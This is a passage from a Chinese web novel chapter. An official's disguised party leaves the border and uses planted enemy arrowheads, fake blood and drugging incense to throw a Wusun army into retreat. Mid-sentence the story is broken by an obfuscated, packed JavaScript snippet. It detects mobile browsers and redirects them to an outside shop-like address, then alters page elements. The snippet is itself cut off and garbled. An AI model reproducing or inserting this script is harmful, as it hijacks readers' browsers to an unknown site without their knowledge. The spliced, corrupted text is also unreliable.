除了老爷子指派的人,燕修延还带上了梁永诚、田靖和程旭。 唯独锦似程,让他颇为纠结——主要是怕他拖后腿,万一没能把人完完整整带回京,他怕锦家人跟他拼命。 锦似程当场提笔磨墨,刷刷写下一个生死状,还签字画押了。 至于沥老,他躲得远远的,巴不得燕修延想不起来带他。 “行了,各司其职今夜休整,明日一早准时出发。” 燕修延说完转身钻进屋子里,伏案提笔写信去了。 这一次出去,归期不定,短则一两月长则更久都不敢说。 路上写信没问题,寄信有些麻烦,索性多写几封,分批次托付不同信使送出。 第二日,燕修延一行人改换容貌衣着,扮作往来边境行商的商队模样,出关去了。 “顺着这条路走,如果乌孙或者羯国继续派人来,咱们也能遇见。” 燕修延斜倚在宽敞舒适的马车中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651197|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,悠闲的吃吃喝喝。 临行前,他冯娘亲、哥哥、嫂子生怕他在外受苦,塞满了整车的吃食干粮、鲜果肉食。 有的是鲜货不易存放,他就趁着新鲜,日日品茶吃食。 锦似程跟着沾光,坐在一旁大快朵颐,嚼着点心瓜果,满脸新奇忍不住感慨:“这和我想象的战场不同,到现在我都没有什么要打仗的感觉。” “你想象中的战场是什么模样?” 燕修延端起温热的清茶浅浅啜了一口,唇齿留香:“杀声震天、两军对垒、金戈铁马、尸山血海?可谁的命不是命呢?边关将士皆是家中顶梁,谁无父母妻儿、阖家牵挂?” 这样的战场很快将面临,他会让将士少流血、少牺牲。 “燕大人。” 坐在车辕上的梁永诚探头进来:“咱们去煽风点火,他们要是自己打起来了,那是不是就叫鸟跟河蚌打架,咱们得利啊?” 燕修延挑眉递给他一个肯定的眼神:“对,大虞不损一兵一卒,陛下还得封赏咱们。” 梁永诚高高兴兴的坐回去:“知道你生擒狮子后,我就知道跟着你有肉吃、有酒喝、有功赏!稳赚不亏!” 平稳赶路两天多的时间,在前方探路的人传来消息,说前方发现一支大约一千多人穿着乌孙国衣服的军队在向北去。 向北,狭关道后面的营地。 燕修延抬手拭了拭指尖点心碎屑,钻出马车,拽上程旭:“你们继续,我去去就回。” 锦似程看着燕修延意气风发的背影,看向车辕的梁永诚:“他、他这是打算两个人硬挑一千多人的军队?” 梁永诚见怪不怪:“有可能,他可是能生擒雄狮的人,这点阵仗不在话下。” 燕修延快马加鞭抄近道赶在乌孙大军之前,率先抵达乌孙国营地,他丢了几枚羯国专属图腾的箭头在地上,然后抬脚轻轻踩进松软土里。 从瓷瓶里倒出几滴颜色发褐的血在上头,再踩几脚,撒上点儿薄土。 做完一切,他快步奔至上风口的地方隐蔽处,点燃二十根特制的无色无味线香。 程旭看着燕修延塞进自己手里的一把羯国制式长弓和十支同款箭矢:“只有十发箭,千人大军怕是远远不够吧?” “够了够了,绰绰有余。” 燕修延俯身贴耳,指尖轻触地面听着动静:“估计快到了。” 乌孙国军队出现在视野里,他们还未走近营地,没有发现异常。 为首的人站住脚步,太安静了,一个人都没有。 很蹊跷。 当他走进燕修延放箭头的地方,燕修延对程旭说:“瞄准他身后的人,记得避开致命要害,不必伤人性命只求制造混乱,十支箭尽量快速射完。” 程旭搭弓射箭,三箭齐发。 精准落在后方士卒肩头、臂膀、腿侧,力道十足,虽不致命却激起骚乱。 咻!咻!咻! 十支箭转眼射完。 乌孙国军队大乱,士卒纷纷惊惶举盾往这边小心翼翼的走过来,人人神色紧绷,戒备十足。 混乱之际,走在最前的为首之人脚下一顿,目光锁定地面沙土中若隐若现的羯国箭头和褐色血迹。 这时候他脸色发白,失声痛呼:“我的头好晕!” 周遭无数乌孙士卒纷纷中招,个个扶着脑袋、按着额头,身形摇晃站立不稳。 为首者强撑着昏沉的意识,心知已然陷入埋伏再停留此地必全军覆没,他高呼:“迅速撤离!即刻撤出山谷!快!”